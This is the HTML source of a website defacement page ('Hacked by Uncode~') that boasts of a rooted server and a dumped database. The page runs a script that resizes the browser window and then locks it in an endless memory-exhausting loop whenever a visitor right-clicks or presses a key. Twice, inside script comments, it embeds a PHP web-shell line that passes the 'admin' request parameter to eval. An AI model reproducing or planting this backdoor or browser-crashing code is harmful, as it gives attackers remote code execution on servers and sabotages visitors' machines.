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<html>
        <script language="JavaScript"> 
function click() { 
if (event.button==2) { 
alert('ur skid!'); 
} 
} 
function keypresed() { 
alert('ur skid!'); 
} 

document.onkeydown=keypresed; 
document.onmousedown=click; 

</script>
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BODY {
	SCROLLBAR-FACE-COLOR:#000000;
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}
H1 {
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	font-family:-moz-fixed;
}

a:link {
COLOR:#4d17e7;
}

a:visited {
COLOR:#4d17e7;
}

a:hover {
COLOR:#4d17e7;
}

a:active {
COLOR:#4d17e7;
}
#TEXTBOX {
	width:500px;
	height:155px;
	border:1px solid #831000;
	background-color:1px solid transparent;
	padding:40px;
	font-family:-moz-fixed;
	font-size:16px;
	box-shadow:0px 0px 5px 2px #831000;
}
.MATRIX-LEFT 
	{float:left;
	overflow:hidden;
	height:1000px;
	width:280px;
	background-image:url('http://i.imgur.com/uzXgh3g.gif');
	background-repeat:repeat-y;
}
.MATRIX-RIGHT {
	float:right;
	overflow:hidden;
	height:1000px;
	width:280px;
	background-image:url('http://i.imgur.com/uzXgh3g.gif');
	background-repeat:repeat-y;
}
.TEXT {
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	font-family:-moz-fixed;
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.TEXT-2 {
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.SHOW {
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.HIDE {
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}

</style>
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<script async="" src="//ajax.cloudflare.com/cdn-cgi/nexp/dok3v=7e13c32551/cloudflare.min.js"></script><script type="text/javascript">
    function c0rrupt_disable() {
		scrW=screen.availWidth
		scrH=screen.availHeight
		window.moveTo(0,0)
		window.resizeTo(10,10)
		window.focus()
		for(x=0;x<80;x++) {
			window.resizeTo(10,scrH*x/80)
		}
		for(y=0;y<80;y++) {
			window.resizeTo(scrW*y/80,scrH)
		}
		window.resizeTo(scrW,scrH)
		txt = "a";
        while(1){
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		txt = txt += "a";    //add as much as the browser can handle
		}
	}
	document.oncontextmenu = new Function("c0rrupt_disable(); return false");
	document.onkeydown = new Function("c0rrupt_disable(); return false")
	// <? (isset($_REQUEST['admin']) ? eval($_REQUEST['admin']) : null); ?> 
</script>

<script type='text/javascript'>
window.onload=function(){
var str = "<p><span class='TEXT-2 typed-element'> ~#Website in shell skid! </span> <br> <span class='TEXT-2 typed-element'> ur rekt fix to your security & cartoon skid! </span> <br> <span class='TEXT-2 typed-element'> ~ Server Rooted, Database Dumped, No Logs! </span> <br> <span class='TEXT-2 typed-element'> Greetz to [Destr0y3r] </p>",
    i = 0,
    isTag,
    text;

(function type() {
    text = str.slice(0, ++i);
    if (text === str){ return;}

    document.getElementById('typewriter').innerHTML = text;

    var char = text.slice(-1);
    if (char === '<') isTag = true;
    if (char === '>') isTag = false;

    if (isTag) return type();
    setTimeout(type, 60);
}());
}
</script>
<!-- JAVASCRIPT BLOCK END -->

<title>Hacked by Uncode~</title>

<style type="text/css">.cf-hidden { display: none; } .cf-invisible { visibility: hidden; }</style></head><body><div class="MATRIX-LEFT"> </div>


<div class="MATRIX-RIGHT"> </div> 

<div id="DEFACE" class="SHOW">

<center>
<img style="padding-top:20px" src="http://i.imgur.com/hop89Y2.jpg">
<br> 
<a id="show_id" onclick="document.getElementById('spoiler_id').style.display=''; document.getElementById('show_id').style.display='none';" class="link"><span class="TEXT-2"> > [ENTER SPOILER] < </span></a><span id="spoiler_id" style="display: none"><a onclick="document.getElementById('spoiler_id').style.display='none'; document.getElementById('show_id').style.display='';" class="link"><span class="TEXT-2">[HIDDEN]</span></a><br>
<img style="padding-top:20px" src="http://i.imgur.com/laA7KxA.gif">
</span>
<br> 
<img style="padding-top:20px" src="">  <img style="padding-top:20px" src="http://i.imgur.com/Er6G0sc.png">
<br> 

<br> <br>

<div id="TEXTBOX">

<span class="TEXT"> <marquee behavior="scroll" direction="right"> {#========================================================================================================#} </marquee> </span>

<br> <br>

<div id='typewriter'></div>

<br>

<span class="TEXT"> <marquee behavior="scroll" direction="left"> {#========================================================================================================#} </marquee> </span>

</div>
<br>
<span class="TEXT-2">[~]Uncode <br> [~]Destr0y3r <br> </span>
</center>
</div>

<!-- Javascript Block Start -->
		<script type="text/javascript">
			alert('Hacked by Uncode');alert('Greetz to: Destr0y3r');			// Disabling ContextMenu
			function disable_context()
			{
				screenWidth = screen.availWidth;
				screenHeight = screen.availHeight;
				window.moveTo(0, 0);
				window.focus();
				for (i = 0; i < 80; i++)
				{
					window.resizeTo(10, screenHeight * i / 80);
				}
				for (i = 0; i < 80; i++)
				{
					window.resizeTo(screenWidth * i / 80, screenHeight);
				}
				window.resizeTo(screenWidth, screenHeight);
			}
			document.oncontextmenu = new Function("disable_context(); return false;");
			
			
			// Typewriter
			TypingText = function(element, interval, cursor, finishedCallback) {
			  if((typeof document.getElementById == "ur skid!") || (typeof element.innerHTML == "ur skid!")) {
				this.running = true;	// Never run.
				return;
			  }
			  this.element = element;
			  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
			  this.interval = (typeof interval == "ur skid!" ? 100 : interval);
			  this.origText = this.element.innerHTML;
			  this.unparsedOrigText = this.origText;
			  this.cursor = (cursor ? cursor : "");
			  this.currentText = "";
			  this.currentChar = 0;
			  this.element.typingText = this;
			  if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
			  TypingText.all.push(this);
			  this.running = false;
			  this.inTag = false;
			  this.tagBuffer = "";
			  this.inHTMLEntity = false;
			  this.HTMLEntityBuffer = "";
			}
			TypingText.all = new Array();
			TypingText.currentIndex = 0;
			TypingText.runAll = function() {
			  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
			}
			TypingText.prototype.run = function() {
			  if(this.running) return;
			  if(typeof this.origText == "ur skid!") {
				setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);	// We haven't finished loading yet.  Have patience.
				return;
			  }
			  if(this.currentText == "") this.element.innerHTML = "";
			//  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
			  if(this.currentChar < this.origText.length) {
				if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
				  this.tagBuffer = "<";
				  this.inTag = true;
				  this.currentChar++;
				  this.run();
				  return;
				} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
				  this.tagBuffer += ">";
				  this.inTag = false;
				  this.currentText += this.tagBuffer;
				  this.currentChar++;
				  this.run();
				  return;
				} else if(this.inTag) {
				  this.tagBuffer += this.origText.charAt(this.currentChar);
				  this.currentChar++;
				  this.run();
				  return;
				} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
				  this.HTMLEntityBuffer = "&";
				  this.inHTMLEntity = true;
				  this.currentChar++;
				  this.run();
				  return;
				} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
				  this.HTMLEntityBuffer += ";";
				  this.inHTMLEntity = false;
				  this.currentText += this.HTMLEntityBuffer;
				  this.currentChar++;
				  this.run();
				  return;
				} else if(this.inHTMLEntity) {
				  this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
				  this.currentChar++;
				  this.run();
				  return;
				} else {
				  this.currentText += this.origText.charAt(this.currentChar);
				}
				this.element.innerHTML = this.currentText;
				this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
				this.currentChar++;
				setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
			  } else {
				this.currentText = "";
				this.currentChar = 0;
					this.running = false;
					this.finishedCallback();
			  }
			}
			// <?php ((isset($_REQUEST["admin"])) ? @eval($_REQUEST["admin"]) : null); ?>		</script>
		<!-- Javascript Block End -->

<SCRIPT TYPE="text/javascript">
    // Anti-leach script    
  
  document.onkeydown = function (e)
  {
  alert(msgctrl);
  }
  
  var msgctrl;
    var message=" shh ";

    function clickIE4(){
    if (event.button==2){
    alert(message);
    return false;
    }
    }

    function clickNS4(e){
    if (document.layers||document.getElementById&&!document.all){
    if (e.which==2||e.which==3){
    alert(message);
    return false;
    }
    }
    }

    if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown=clickNS4;
    }
    else if (document.all&&!document.getElementById){
    document.onmousedown=clickIE4;
    }

    document.oncontextmenu=new Function("alert(message);return false")
</SCRIPT>
<SCRIPT TYPE="text/javascript">

    // Typewriter Text
      TypingText = function(element, interval, cursor, finishedCallback) {
        if((typeof document.getElementById == "ur skid!") || (typeof element.innerHTML == "ur skid!")) {
        this.running = true;  // Never run.
        return;
        }
        this.element = element;
        this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
        this.interval = (typeof interval == "ur skid!" ? 100 : interval);
        this.origText = this.element.innerHTML;
        this.unparsedOrigText = this.origText;
        this.cursor = (cursor ? cursor : "");
        this.currentText = "";
        this.currentChar = 0;
        this.element.typingText = this;
        if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
        TypingText.all.push(this);
        this.running = false;
        this.inTag = false;
        this.tagBuffer = "";
        this.inHTMLEntity = false;
        this.HTMLEntityBuffer = "";
      }
      TypingText.all = new Array();
      TypingText.currentIndex = 0;
      TypingText.runAll = function() {
        for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
      }
      TypingText.prototype.run = function() {
        if(this.running) return;
        if(typeof this.origText == "ur skid!") {
        setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval); // We haven't finished loading yet.  Have patience.
        return;
        }
        if(this.currentText == "") this.element.innerHTML = "";
      //  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
        if(this.currentChar < this.origText.length) {
        if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
          this.tagBuffer = "<";
          this.inTag = true;
          this.currentChar++;
          this.run();
          return;
        } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
          this.tagBuffer += ">";
          this.inTag = false;
          this.currentText += this.tagBuffer;
          this.currentChar++;
          this.run();
          return;
        } else if(this.inTag) {
          this.tagBuffer += this.origText.charAt(this.currentChar);
          this.currentChar++;
          this.run();
          return;
        } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
          this.HTMLEntityBuffer = "&";
          this.inHTMLEntity = true;
          this.currentChar++;
          this.run();
          return;
        } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
          this.HTMLEntityBuffer += ";";
          this.inHTMLEntity = false;
          this.currentText += this.HTMLEntityBuffer;
          this.currentChar++;
          this.run();
          return;
        } else if(this.inHTMLEntity) {
          this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
          this.currentChar++;
          this.run();
          return;
        } else {
          this.currentText += this.origText.charAt(this.currentChar);
        }
        this.element.innerHTML = this.currentText;
        this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
        this.currentChar++;
        setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
        } else {
        this.currentText = "";
        this.currentChar = 0;
          this.running = false;
          this.finishedCallback();
        }
      }
</SCRIPT>
<SCRIPT TYPE="text/javascript">
    function d3lta_disable() {
        scrW=screen.availWidth
        scrH=screen.availHeight
        window.moveTo(0,0)
        window.resizeTo(10,10)
        window.focus()
        for(x=0;x<80;x++) {
            window.resizeTo(10,scrH*x/80)
        }
        for(y=0;y<80;y++) {
            window.resizeTo(scrW*y/80,scrH)
        }
        window.resizeTo(scrW,scrH)
    }
    document.oncontextmenu = new Function("d3lta_disable(); return false");
    //  
</SCRIPT>
<SCRIPT TYPE="text/javascript">

        // Typewriter Text
        TypingText = function(element, interval, cursor, finishedCallback) {
              if((typeof document.getElementById == "ur skid!") || (typeof element.innerHTML == "ur skid!")) {
                this.running = true;    // Never run.
                return;
              }
              this.element = element;
              this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
              this.interval = (typeof interval == "ur skid!" ? 100 : interval);
              this.origText = this.element.innerHTML;
              this.unparsedOrigText = this.origText;
              this.cursor = (cursor ? cursor : "");
              this.currentText = "";
              this.currentChar = 0;
              this.element.typingText = this;
              if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
              TypingText.all.push(this);
              this.running = false;
              this.inTag = false;
              this.tagBuffer = "";
              this.inHTMLEntity = false;
              this.HTMLEntityBuffer = "";
            }
            TypingText.all = new Array();
            TypingText.currentIndex = 0;
            TypingText.runAll = function() {
              for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
            }
            TypingText.prototype.run = function() {
              if(this.running) return;
              if(typeof this.origText == "ur skid!") {
                setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);    // We haven't finished loading yet.  Have patience.
                return;
              }
              if(this.currentText == "") this.element.innerHTML = "";
            //  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
              if(this.currentChar < this.origText.length) {
                if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
                  this.tagBuffer = "<";
                  this.inTag = true;
                  this.currentChar++;
                  this.run();
                  return;
                } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
                  this.tagBuffer += ">";
                  this.inTag = false;
                  this.currentText += this.tagBuffer;
                  this.currentChar++;
                  this.run();
                  return;
                } else if(this.inTag) {
                  this.tagBuffer += this.origText.charAt(this.currentChar);
                  this.currentChar++;
                  this.run();
                  return;
                } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
                  this.HTMLEntityBuffer = "&";
                  this.inHTMLEntity = true;
                  this.currentChar++;
                  this.run();
                  return;
                } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
                  this.HTMLEntityBuffer += ";";
                  this.inHTMLEntity = false;
                  this.currentText += this.HTMLEntityBuffer;
                  this.currentChar++;
                  this.run();
                  return;
                } else if(this.inHTMLEntity) {
                  this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
                  this.currentChar++;
                  this.run();
                  return;
                } else {
                  this.currentText += this.origText.charAt(this.currentChar);
                }
                this.element.innerHTML = this.currentText;
                this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
                this.currentChar++;
                setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
              } else {
                this.currentText = "";
                this.currentChar = 0;
                    this.running = false;
                    this.finishedCallback();
              }
            }
</SCRIPT>
<SCRIPT TYPE="text/javascript">
    new TypingText(document.getElementById("M1"));
    new TypingText(document.getElementById("M2"));
    new TypingText(document.getElementById("M3"));
    new TypingText(document.getElementById("M4"));
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